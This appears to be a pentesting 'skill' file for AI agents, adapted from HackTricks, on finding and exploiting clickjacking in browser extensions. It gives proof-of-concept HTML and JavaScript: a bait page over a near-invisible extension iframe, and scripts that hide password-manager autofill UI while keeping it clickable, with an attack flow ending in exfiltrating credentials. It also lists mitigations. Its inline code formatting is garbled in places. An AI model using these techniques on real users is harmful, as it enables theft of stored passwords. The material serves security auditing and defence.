Hacktricks-skills browser-extension-clickjacking
Analyze browser extensions for clickjacking vulnerabilities. Use this skill whenever you need to audit browser extensions (Chrome, Firefox, Edge) for security issues, review manifest.json files, test web_accessible_resources configurations, or investigate extension-based attacks. Trigger this skill for any pentesting task involving browser extensions, Chrome extensions, Firefox add-ons, or when analyzing extension security, even if the user doesn't explicitly mention 'clickjacking' or 'vulnerability'.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking/SKILL.MDBrowser Extension Clickjacking Analysis
A skill for identifying and exploiting clickjacking vulnerabilities in browser extensions during security assessments.
When to Use This Skill
Use this skill when:
- Auditing browser extensions for security vulnerabilities
- Reviewing
files for misconfigurationsmanifest.json - Testing
exposureweb_accessible_resources - Investigating extension-based attack vectors
- Analyzing password manager or autofill extension security
- Performing browser extension penetration testing
Core Concepts
What is Extension Clickjacking?
Extension clickjacking abuses misconfigured
web_accessible_resources to embed privileged extension UI in iframes on attacker-controlled pages. Users are tricked into clicking hidden extension controls, performing unintended actions with the extension's elevated privileges.
The Vulnerability Chain
- Extension declares resources in
web_accessible_resources - Resources become accessible via
chrome-extension://[ID]/[PATH] - Attacker embeds these resources in iframes on malicious pages
- User clicks on overlayed UI, triggering hidden extension actions
- Privileged operations execute without user awareness
Attack Methodologies
Method 1: Classic web_accessible_resources Clickjacking
What to look for:
- HTML files in
(especiallyweb_accessible_resources
,*.html
,popup.html
)skin/* - JavaScript files with UI manipulation capabilities
- Resources that can change extension state
Detection steps:
-
Extract and review
:manifest.jsonunzip -p extension.crx manifest.json | jq . # or for unpacked extensions: cat extension/manifest.json | jq . -
Identify risky
entries:web_accessible_resources
- often contains HTML UI"skin/*"
- usually safe but verify"icons/*"
- high risk if interactive"*.html"
- critical risk"popup.html"
- medium risk"inpage.js"
-
Test accessibility:
<iframe src="chrome-extension://[EXTENSION_ID]/[RESOURCE_PATH]" style="opacity:0.01; position:absolute;"></iframe> -
Attempt to trigger actions by overlaying clickable elements
Method 2: DOM-based Extension Clickjacking
Targets password manager autofill UIs injected directly into page DOM.
Attack flow:
- Inject invisible but focusable form fields
- Focus input to trigger extension's autofill dropdown
- Hide/occlude extension UI while keeping it clickable
- Align believable control under hidden dropdown
- Coerce click to select stored credential
- Exfiltrate filled values
Detection techniques:
// Check for extension-injected elements const extensionElements = Array.from(document.querySelectorAll('*')) .filter(el => { const tag = el.tagName.toLowerCase(); return tag.includes('pass') || tag.includes('auth') || tag.includes('vault'); }); // Check for shadow DOM roots const shadowRoots = Array.from(document.querySelectorAll('*')) .filter(el => el.shadowRoot); // Monitor for opacity/style tampering const observer = new MutationObserver((mutations) => { mutations.forEach(mutation => { if (mutation.type === 'attributes' && (mutation.attributeName === 'style' || mutation.attributeName === 'class')) { console.log('Style change detected:', mutation.target); } }); });
Practical Exploitation
Step 1: Enumerate Extension Resources
# Extract extension from CRX python3 -c " import zipfile import json with zipfile.ZipFile('extension.crx', 'r') as crx: manifest = json.loads(crx.read('manifest.json')) print('Extension ID:', manifest.get('name')) print('Version:', manifest.get('version')) print('Permissions:', manifest.get('permissions', [])) print('Web Accessible Resources:', manifest.get('web_accessible_resources', [])) "
Step 2: Identify Extension ID
// In browser console chrome.management.getAll((extensions) => { extensions.forEach(ext => { console.log(`${ext.name}: ${ext.id}`); }); });
Step 3: Build Clickjacking Test Page
<!DOCTYPE html> <html> <head> <style> .overlay { position: absolute; top: 100px; left: 100px; z-index: 9999; } .hidden-iframe { position: absolute; top: 100px; left: 100px; opacity: 0.01; pointer-events: none; } .bait-button { position: absolute; top: 168px; left: 100px; padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; } </style> </head> <body> <h1>Click the button below</h1> <div class="overlay"> <button class="bait-button">Click Me</button> </div> <iframe class="hidden-iframe" src="chrome-extension://[EXTENSION_ID]/[RESOURCE_PATH]" width="430" height="300"></iframe> </body> </html>
Step 4: Test DOM-based Autofill Clickjacking
// Create hidden form to trigger autofill function createHiddenForm() { const form = document.createElement('form'); form.id = 'hidden-form'; form.style.cssText = 'opacity:0.001; position:absolute; top:-1000px;'; const input = document.createElement('input'); input.type = 'text'; input.id = 'username'; input.name = 'username'; input.autocomplete = 'username'; form.appendChild(input); document.body.appendChild(form); // Focus to trigger dropdown setTimeout(() => input.focus(), 500); // Monitor for autofill input.addEventListener('input', (e) => { console.log('Autofill detected:', e.target.value); }); } // Hide extension UI while keeping clickable function hideExtensionUI() { // Try generic selector const root = document.querySelector('protonpass-root, bitwarden-root, lastpass-root'); if (root) { root.style.opacity = '0'; root.style.pointerEvents = 'auto'; } // Try shadow DOM Array.from(document.querySelectorAll('*')) .forEach(el => { if (el.shadowRoot) { const iframe = el.shadowRoot.querySelector('iframe'); if (iframe) { iframe.style.cssText += 'opacity:0 !important;'; } } }); }
Common Vulnerable Patterns
High-Risk web_accessible_resources
| Pattern | Risk | Example Impact |
|---|---|---|
| Critical | PrivacyBadger disable button |
| Critical | Any HTML UI exposure |
| Critical | Extension popup actions |
| High | DOM manipulation |
| Critical | Whitelist bypass |
| Low | Usually safe |
| Low | Usually safe |
Known Vulnerable Extensions (Historical)
- PrivacyBadger:
exposed popup.htmlskin/* - Metamask:
,inpage.js
exposedphishing.html - Steam Inventory Helper: XSS + Clickjacking chain
Mitigation Recommendations
For Extension Developers
-
Minimize web_accessible_resources
// Bad "web_accessible_resources": ["*/*"] // Good "web_accessible_resources": [ { "resources": ["icons/*.png"], "matches": ["<all_urls>"] } ] -
Use frame-ancestors CSP
"web_accessible_resources": [ { "resources": ["popup.html"], "matches": ["<all_urls>"], "use_dynamic_url": true } ]Serve with:
Content-Security-Policy: frame-ancestors 'none' -
Render in Top Layer
- Use Popover API for autofill UI
- Ensure UI sits above page stacking context
-
Detect Hostile Overlays
function detectOcclusion(element) { const rect = element.getBoundingClientRect(); const testElement = document.createElement('div'); testElement.style.cssText = 'position:absolute; pointer-events:none;'; testElement.style.top = rect.top + 'px'; testElement.style.left = rect.left + 'px'; document.body.appendChild(testElement); const elements = document.elementsFromPoint(rect.left + 10, rect.top + 10); document.body.removeChild(testElement); return !elements.includes(element); } -
Monitor Style Tampering
const observer = new MutationObserver((mutations) => { mutations.forEach(m => { if (m.type === 'attributes' && m.attributeName === 'style') { console.warn('Style tampering detected'); // Close UI or alert user } }); }); observer.observe(document.documentElement, { attributes: true });
For Security Auditors
- Always review
formanifest.jsonweb_accessible_resources - Test each exposed resource for iframe embedding
- Check for HTML/JS resources that can change state
- Test password manager extensions for DOM-based clickjacking
- Verify CSP headers on exposed resources
- Check for proper
headersX-Frame-Options
Testing Checklist
- Extract and review
manifest.json - Identify all
entriesweb_accessible_resources - Test each resource for iframe accessibility
- Check for HTML files in exposed resources
- Test for state-changing functionality
- Verify CSP and X-Frame-Options headers
- Test password manager autofill for DOM clickjacking
- Check for shadow DOM exposure
- Monitor for style tampering resistance
- Document findings with PoC code